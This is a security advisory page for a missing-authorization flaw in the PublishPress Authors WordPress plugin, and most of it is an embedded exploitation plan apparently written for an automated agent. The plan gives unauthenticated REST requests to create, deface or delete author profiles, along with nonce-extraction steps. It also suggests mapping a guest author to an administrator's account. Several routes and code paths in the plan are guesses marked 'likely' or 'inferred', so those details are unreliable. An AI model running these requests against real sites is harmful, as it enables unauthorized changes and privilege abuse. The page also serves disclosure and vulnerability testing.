Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors <= 4.10.1 - Missing Authorization
Description
The Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.10.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.10.1What Changed in the Fix
Changes introduced in v4.11.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-25309 (PublishPress Authors) ## 1. Vulnerability Summary The **PublishPress Authors** plugin (<= 4.10.1) contains a missing authorization vulnerability in its REST API implementation. Specifically, the REST API endpoints introduced in version 4.8.0 to "create …
Show full research plan
Exploitation Research Plan: CVE-2026-25309 (PublishPress Authors)
1. Vulnerability Summary
The PublishPress Authors plugin (<= 4.10.1) contains a missing authorization vulnerability in its REST API implementation. Specifically, the REST API endpoints introduced in version 4.8.0 to "create and update Authors and their fields" (identified in the changelog as feature #2065) do not implement sufficient capability checks. This allow unauthenticated attackers to create, modify, or delete author profiles (Guest Authors), which are stored as ppma_author custom post type objects.
2. Attack Vector Analysis
- Endpoint: WordPress REST API.
- Base Route:
/wp-json/publishpress-authors/v1 - Resource Route:
/authorsor/author - HTTP Methods:
POST(Create),PUT/PATCH(Update),DELETE(Delete). - Vulnerable Parameter: The entire JSON body for creating/updating author profiles.
- Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. Guest Author functionality is typically enabled by default.
3. Code Flow
- Registration: The plugin registers REST routes during the
rest_api_inithook. Based on the 4.8.0 changelog, a controller class (likely withinsrc/core/Classes/orsrc/core/Rest/) registers routes for author management. - Missing Check: Within the
register_rest_routecall for the authors endpoint, thepermission_callbackis either missing, set to__return_true, or fails to verify if the requester has theedit_postsormanage_optionscapability. - Execution: The handler function (e.g.,
create_itemorupdate_item) processes the input and useswp_insert_postor internal plugin methods (like those insrc/core/Classes/Author_Editor.php) to save theppma_authordata without verifying user permissions.
4. Nonce Acquisition Strategy
REST API endpoints in WordPress typically require a wp_rest nonce for authenticated sessions to prevent CSRF. However, for unauthenticated access to a route where permission_callback is __return_true, the nonce check is often bypassed or not enforced by the REST server for the "anonymous" user.
If a nonce is strictly required:
- Identify Exposure: The plugin may expose a REST nonce via
wp_localize_scriptto support its block editor or author box features. - Shortcode Strategy:
- Create a page with the author list shortcode:
[publishpress_authors_list] wp post create --post_type=page --post_status=publish --post_title="Authors" --post_content='[publishpress_authors_list]'
- Create a page with the author list shortcode:
- Extraction:
- Navigate to the new page.
- Use
browser_evalto find the nonce:browser_eval("window.ppAuthorsData?.rest_nonce")or check for common PublishPress localization objects likewindow.publishpressAuthorsConfig.
5. Exploitation Strategy
We will attempt to create a new Guest Author profile via the REST API.
Step 1: Discover the exact REST route
Perform a GET request to the REST index to confirm the available routes for the plugin.
- Method:
GET - URL:
/wp-json/publishpress-authors/v1 - Tool:
http_request
Step 2: Create a Guest Author
- Method:
POST - URL:
/wp-json/publishpress-authors/v1/authors(or/author) - Headers:
Content-Type: application/json
- Body (JSON):
{
"title": "Injected Author",
"description": "This author was created via CVE-2026-25309.",
"email": "attacker@example.com",
"slug": "hacked-author",
"first_name": "Hacked",
"last_name": "Author"
}
Step 3: Update an Existing Author (If creation fails)
If creation is restricted but update is not, attempt to overwrite an existing Guest Author (ID can be found by listing authors).
- Method:
POSTorPUT - URL:
/wp-json/publishpress-authors/v1/authors/<ID> - Body (JSON):
{
"description": "Defaced bio"
}
6. Test Data Setup
- Ensure PublishPress Authors is installed and active on version 4.10.1.
- Create at least one post and assign it to a Guest Author via the WP Admin to ensure the
ppma_authorpost type is initialized and a legitimate target exists. - (Optional) Create a page with the
[publishpress_authors_list]shortcode to facilitate nonce discovery if needed.
7. Expected Results
- Success: The server returns a
201 Createdor200 OKresponse with a JSON object representing the newly created or modified author. - Data Persistence: A new post of type
ppma_authorwill exist in the database with the title "Injected Author".
8. Verification Steps
After the exploit, verify via WP-CLI:
# List all Guest Authors to see the injected one
wp post list --post_type=ppma_author
# Check the specific content of the injected author
wp post get $(wp post list --post_type=ppma_author --name=hacked-author --format=ids) --fields=post_title,post_content
9. Alternative Approaches
- Metadata Manipulation: If the REST API allows updating
metafields, try to map the Guest Author to a real Administrator's user ID by updating themapped_user_idmeta field. - AJAX Endpoint: If the REST API is protected, check for the AJAX action
ppma_author_create_or_update(inferred name) which might be registered viawp_ajax_nopriv_. - Author Deletion: Attempt a
DELETErequest to/wp-json/publishpress-authors/v1/authors/<ID>to verify if unauthorized deletion is possible, causing a Denial of Service for author profiles.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.